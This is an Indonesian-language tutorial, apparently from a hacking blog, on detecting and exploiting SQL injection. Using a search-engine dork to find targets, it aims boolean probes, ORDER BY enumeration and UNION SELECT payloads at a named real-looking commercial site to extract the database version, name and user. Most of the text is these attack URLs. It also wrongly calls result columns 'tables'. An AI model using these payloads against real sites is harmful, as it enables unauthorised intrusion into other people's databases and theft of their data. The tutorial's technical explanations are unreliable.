Mendeteksi SQL Injection Vulnerability

[x] Apa itu SQL injection?

SQL injection adalah teknik eksploitasi database via remote.
dengan menggunakan SQL Query [perintah2 SQL] kita bisa mengetahui isi dari database target.
lebih lanjut bisa dibaca disini http://en.wikipedia.org/wiki/SQL_injection
cape ngejelasin ne.. panjang amit. :)


[x] Bagaimana cara mendeteksi SQL Injection pada sebuah site?

ada banyak cara untuk mendeteksi SQL Injection pada sebuah site.
salah satunya adalah dengan menggunakan command AND 1=1 dan AND 1=2
AND 1=1 <=- keadaan TRUE
AND 1=2 <=- keadaan FALSE
masih banyak cara2 yang lain untuk mendeteksi SQL Injection, dalam tutor ini gw hanya menggunakan cara ini.
langsung contoh target ajah ya...
googling dengan keyword "product_details.php?product_id="
nah pasti bakal keluar target2nya kan? kita ambil contoh target berikut.

http://www.ntlabs.co.uk/product_details.php?product_id=17

sekarang kita akan mencoba mendeteksi SQL Injection pada target diatas dengan menggunakan command2 tadi.

[1] http://www.ntlabs.co.uk/product_details.php?product_id=17 AND 1=1
[2] http://www.ntlabs.co.uk/product_details.php?product_id=17 AND 1=2

apa perbedaan antara URL pertama dan URL kedua?
dalam kondisi AND 1=1 [TRUE] halaman sitenya tidak akan mengalami perubahan sedangkan
dalam kondisi AND 1=2 [FALSE] halaman sitenya pasti akan berubah, baik itu ada pesan error ataupun tidak.
ini berarti site tersebut bisa kita eksploitasi dengan menggunakan SQL Injection.


[x] Bagaimana mencari jumlah TABLE dalam database?

ada banyak cara juga dalam mencari jumlah TABLE dalam database target, dalam tutor ini gw make command ORDER BY.
angka dibelakang comamand ORDER BY adalah jumlah TABLE, kita mulai dengan angka 1.

http://www.ntlabs.co.uk/product_details.php?product_id=17 ORDER BY 1/*

setelah dirun ternyata halamannya tidak ada perubahan atau halamannya masih dalam kondisi TRUE, itu berarti TABLE lebih dari 1.
langsung ke angka 10 ajah biar cepet. :)

http://www.ntlabs.co.uk/product_details.php?product_id=17 ORDER BY 10/*

apa yang terjadi? ternyata halamannya berubah atau halaman sudah dalam kondisi FALSE, berarti TABLE tidak lebih dari 10.
jadi range TABLE dalam databasenya adalah dari 1 - 10.
sekarang kita turunin angkanya jadi 9.

http://www.ntlabs.co.uk/product_details.php?product_id=17 ORDER BY 9/*
http://www.ntlabs.co.uk/product_details.php?product_id=17 ORDER BY 8/*
http://www.ntlabs.co.uk/product_details.php?product_id=17 ORDER BY 7/*
http://www.ntlabs.co.uk/product_details.php?product_id=17 ORDER BY 6/*
http://www.ntlabs.co.uk/product_details.php?product_id=17 ORDER BY 5/*

ternyata masih FALSE juga, so kita turunin lagi angkanya sampai dapat kondisi TRUE

http://www.ntlabs.co.uk/product_details.php?product_id=17 ORDER BY 4/*

ternyata pada angka 4 halaman kembali pada kondisi TRUE. jadi bisa kita simpulkan bahwa ada 4 TABLE didalam database target.
koq bisa tau ada 4 TABLE sih? karena pada angka 4 kondisi halaman TRUE sedangkan pada angka 5 kondisi halaman sudah FALSE.
ga percaya? kita buktikan dengan menggunakan command UNION SELECT.

[1] http://www.ntlabs.co.uk/product_details.php?product_id=17 UNION SELECT 1,2,3,4/*
[2] http://www.ntlabs.co.uk/product_details.php?product_id=17 UNION SELECT 1,2,3,4,5/*

lagi2 kondisi TRUE pada URL pertama dan kondisi FALSE pada URL kedua.
benarkan? :p


[x] Magic number? [what the f*ck]

apa itu magic number?
magic number adalah angka2 yang akan keluar pada halaman site, angka2 ini akan dipakai untuk memasukkan SQL Query [perintah2 SQL]
bagaimana cara mengeluarkan magic numbernya?
caranya yaitu dengan menambahkan tanda - didepan angka setelah variabel. dalam tutor ini yaitu angka 17. [product_details.php?product_id=-17]

http://www.ntlabs.co.uk/product_details.php?product_id=-17 UNION SELECT 1,2,3,4/*

angka2 berapa ajah yang keluar pada halaman site?
yup ada angka 2, 3 dan 4. jadi angka2 ini yang akan kita pakai untuk memasukkan SQL Query [perintah2 SQL].
misalnya untuk melihat versi dari database kita dapat menggunakan perintah version().

[1] http://www.ntlabs.co.uk/product_details.php?product_id=-17 UNION SELECT 1,2,version(),4/*
[2] http://www.ntlabs.co.uk/product_details.php?product_id=-17 UNION SELECT 1,database(),version(),user()/*

jadi magic number yang udah dikeluarin tadi diganti dengan perintah2 SQL. ngerti ora? xixixi...
kurang lebih seperti itu cara untuk mendeteksi SQL Injection Vulnerability pada sebuah site atau source.
any question? post comment atau googling ajah yak!! :)


[x] Referensi

google.com
wikipedia.org
milw0rm.com
ReadMe Files
special greetz to k1tk4t